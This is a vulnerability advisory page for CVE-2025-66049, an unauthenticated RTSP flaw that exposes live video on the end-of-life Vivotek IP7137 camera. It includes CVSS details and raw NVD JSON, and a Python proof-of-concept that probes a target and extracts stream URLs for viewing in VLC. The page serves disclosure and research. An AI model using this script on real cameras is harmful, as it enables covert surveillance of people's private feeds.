Security Vulnerability Report
中文
CVE-2025-66049 CVSS 7.5 HIGH

CVE-2025-66049

Published: 2026-01-09 12:15:53
Last Modified: 2026-01-14 17:48:18

Description

Vivotek IP7137 camera with firmware version 0200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera's feed, potentially compromising user privacy and security.  The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:vivotek:ip7137_firmware:0200a:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:vivotek:ip7137:-:*:*:*:*:*:*:* - NOT VULNERABLE
Vivotek IP7137 Firmware Version 0200a(已确认受影响)
Vivotek IP7137 所有固件版本(可能受影响,官方未确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-66049 PoC - Vivotek IP7137 RTSP Unauthenticated Access # Usage: python3 poc.py <target_ip> [port] import socket import sys def check_rtsp_unauthorized_access(target_ip, port=8554): """Check if Vivotek IP7137 RTSP service allows unauthenticated access""" # RTSP DESCRIBE request without authentication describe_request = ( f"DESCRIBE rtsp://{target_ip}:{port}/live.sdp RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print(f"[*] Sending RTSP DESCRIBE request to {target_ip}:{port}") sock.send(describe_request.encode()) response = b"" while True: try: data = sock.recv(4096) if not data: break response += data # Check for end of headers if b"\r\n\r\n" in response: break except socket.timeout: break sock.close() response_text = response.decode('utf-8', errors='ignore') print(f"[+] Response received:\n{response_text}") # Check if we got SDP content without authentication challenge if "200 OK" in response_text and ("sdp" in response_text.lower() or "v=0" in response_text): print("[!] VULNERABLE: RTSP service allows unauthenticated access!") print("[!] Video stream can be accessed without credentials") return True elif "401 Unauthorized" in response_text: print("[-] NOT VULNERABLE: RTSP service requires authentication") return False else: print("[-] UNKNOWN: Could not determine vulnerability status") return None except socket.timeout: print(f"[-] Connection timed out") return None except ConnectionRefusedError: print(f"[-] Connection refused - service may not be running on port {port}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None def get_rtsp_stream_url(target_ip, port=8554): """Extract RTSP stream URL from response""" describe_request = ( f"DESCRIBE rtsp://{target_ip}:{port}/live.sdp RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(describe_request.encode()) response = b"" while True: data = sock.recv(8192) if not data: break response += data if b"\r\n\r\n" in response: break sock.close() response_text = response.decode('utf-8', errors='ignore') # Extract track URLs from SDP import re urls = re.findall(r'rtsp://[^\s]+', response_text) if urls: print(f"[+] Available stream URLs: {urls}") print(f"[+] To view with VLC: vlc \"{urls[0]}\"") return urls return [] except Exception as e: print(f"[-] Error extracting stream URL: {str(e)}") return [] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip> [port]") print("Example: python3 poc.py 192.168.1.100 8554") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8554 print(f"[*] Testing CVE-2025-66049 on {target}:{port}") print("=" * 60) result = check_rtsp_unauthorized_access(target, port) if result: print("\n[*] Attempting to extract stream URLs...") get_rtsp_stream_url(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66049", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:53.420", "lastModified": "2026-01-14T17:48:18.313", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera's feed, potentially compromising user privacy and security. \nThe vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."}, {"lang": "es", "value": "La cámara Vivotek IP7137 con la versión de firmware 0200a es vulnerable a un problema de revelación de información donde las imágenes de la cámara en vivo pueden ser accedidas a través del protocolo RTSP en el puerto 8554 sin requerir autenticación. Esto permite a usuarios no autorizados con acceso a la red ver la transmisión de la cámara, comprometiendo potencialmente la privacidad y seguridad del usuario.\nEl proveedor no ha respondido a la CNA. Posiblemente todas las versiones de firmware estén afectadas. Dado que el producto ha alcanzado la fase de Fin de Vida Útil, no se espera que se lance una solución."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:vivotek:ip7137_firmware:0200a:*:*:*:*:*:*:*", "matchCriteriaId": "7FBD8C69-D2F8-46B0-AE09-F6296BD22414"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:vivotek:ip7137:-:*:*:*:*:*:*:*", "matchCriteriaId": "2BE1F29C-4CF4-46B7-862B-C4B3F00B70EE"}]}]}], "references": [{"url": "https://cert.pl/posts/2026/01/CVE-2025-66049", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}